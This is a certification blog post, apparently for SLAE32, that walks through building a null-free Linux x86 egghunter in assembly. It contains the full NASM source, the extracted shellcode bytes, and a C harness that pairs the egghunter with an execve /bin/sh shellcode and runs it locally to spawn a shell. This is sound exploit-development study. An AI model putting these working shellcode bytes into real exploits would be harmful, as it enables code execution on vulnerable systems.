SLAE32

This post introduces the third mission to my SLAE32 journey.

A cool challenge not covered during the course which made me to research and understand the concept and which scenarios its applicable.

Introduction

The third assignment for the SLAE32 purpose is to create an egghunter shellcode with the following requirements:

  • Create a working demo of the Egghunter;
  • The shellcode should be null-free;
  • With the ability to be configurable for different payloads.

Hunting eggs in memory??? What is a Egghunter?

An egghunter is useful when there is limited buffer space controlled by an attacker to put an entire shellcode on the stack.

To get around this contrainst an egghunter acts as a staged payload. This means the smaller payload is capable of searching the through the entire memory space for a maker or egg. Once finds the egg, it indicates the start of the larger payload (shellcode) and redirect the execution flow to the instructions placed after the egg.

A reference research paper was made by Skape in 2004 named Safely Searching Process Virtual Address Space with pratical examples of different egghunter implementations.

Basic Concepts

Before goign into the code details, it’s important to have in mind some concepts to understand the internals of an egghunter.

x86 Linux Memory Pages

The manybutfinite.com article about Linux memory management states that:

“x86 processors in 32-bit mode support page sizes of 4KB, 2MB, and 4MB. Both Linux and Windows map the user portion of the virtual address space using 4KB pages. Bytes 0-4095 fall in page 0, bytes 4096-8191 fall in page 1, and so on.”

This is an important concept to be aware of because our egghunter will be iterating through pages of memory searching for the egg.
If the egghunter is able to use a sycall to check for the egg in page 0 (bytes 0-4095) and if the used syscall returns an exit code which states if the memory location is accessible or not, based on that the egghunter can skip to the next page of memory (page 1).
This way saves time and increases its performance.

Access Syscall - Can we read or not?

Based on Skape paper, there are some syscalls that can be used for this task. For this assignment, I used the access(2) syscall.

The npurpose of access(2) syscall, is to check effectively if a page memory is accessible or not. According to access man page (man 2 access), this syscall is used to check if the calling process has access to a determined file.

In this assignment context, we will be using the exit codes to check memory pages permissions. If returns an error (EFAULT) with value 0xf2 it means the memory oage is inaccessible. If return any other value, we are good to go to search that page looking for the egg.

Double Egg

By this time, we know the egg should be placed right before the shellcode we can make is more robust placing it twice instead of just one. This way if the the egghunter finds itself we avoid unexpected behaviour from the program.

In practical terms, the shellcode structure is: egg+egg+shellcode

“Assembling” our Egghunter

First, the egg is pplaced into ebx This register will be used after to compare with memory content.

mul ecx after clearing ecx register is used to clear eax and edx. mul multiplies its operand with eax and saves the result in eax and edx. A small trick to save space with less opcodes.

mov ebx, 0x50905090 ; the egg - 0x50905090
xor ecx, ecx
mul ecx             ; trick clear eax and edx

After that, we mov 0xffff (4095 bytes) to dx. A memory page has 4096 bytes in size but putting the value 0x1000 (4096 bytes) in dx will contain null bytes. Instead we mov 0xffff to dx and increment it after inc edx inside the address_inspection: branch.

page_alignment:
	or dx, 0xfff    ; sets dx to 4095

address_inspection:
	inc edx         ; sets dx to 4096

The next step is to analyze the memory page and check if we are able to access it. To achieve this goal, the address_inspection: branch will start to increment EDX to have make it 4096. After that, to preserve the register values with push their value into the stack with pushad instruction.

Then, we put the next 4 bytes of memory into ebx, load the access(2) syscall to al, and then execute it on that memory address.

address_inspection:
	inc edx             ; edx becomes 4096
	pushad              ; saves all registers values
	lea ebx, [edx+4]    ; load the address of the next 4 bytes
	mov al, 0x21        ; set the value of the access syscall
	int 0x80

In order to verify if the memory page accessible or not we will used the compare opcode - cmp.

The compare cmp opcode takes two operands and subtracts them, if the result is a 0, the zero-flag is set and you know that the two operands are equal.

The return code iss aved into eax. If the EFAULT (0xf2) error is there, our shellcode will jump to the page_alignment: branch to check the following memory page.

cmp al, 0xf2
popad
jz page_alignment

But if the memory can be accessed, we will compare the value of the acessible memory which is stored at edx with ebx which holds our egg. If it does not match, we will jump to our address_inspection: branch and keep reading through the page.

If the value of what is stored at edx matches our egg, then we have to see if [edx]+4 also does to make sure we don’t have a false positive and match our double egg requirement. If it is only found once, then it’s probably just our egghunter finding itself.

Finally, if both cmp calls result in zeros then we tell the code to jump to edx which will execute the code stored there (our real shellcode).

cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx

Final Assembly Code

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 3 : Egghunter Shellcode (Linux/x86) Assembly
; File Name    : egg_hunter.nasm

global _start

section .text
_start:

	mov ebx, 0x50905090
	xor ecx, ecx
	mul ecx

page_alignment:
	or dx, 0xfff

address_inspection:
	inc edx
	pushad
	lea ebx, [edx+4]
	mov al, 0x21
	int 0x80
	cmp al, 0xf2
	popad
	jz page_alignment
	
	cmp [edx], ebx
	jnz address_inspection
	cmp [edx+4], ebx
	jnz address_inspection
	jmp edx

Compiling and Testing the Shellcode

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ../../assembler.sh egg_hunter.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 39

"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program

#include <stdio.h>
#include <string.h>

unsigned char egghunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    printf("Egg hunter length: %d\n", strlen(egghunter));
    printf("Shellcode length: %d\n", strlen(shellcode));

    void (*s)() = (void *)egghunter;
    s();

    return 0;
}

To execute a shell I used the execve shellcode stack covered during the course.

Compiling with gcc and executing it

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o egghunter_tester shellcode.c

╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●› 
╰─$ ./egghunter_tester 
Egg hunter length: 39
Shellcode length: 33
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
egg_hunter  egg_hunter.nasm  egg_hunter.o  egghunter_tester  shellcode  shellcode.c
$ 

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86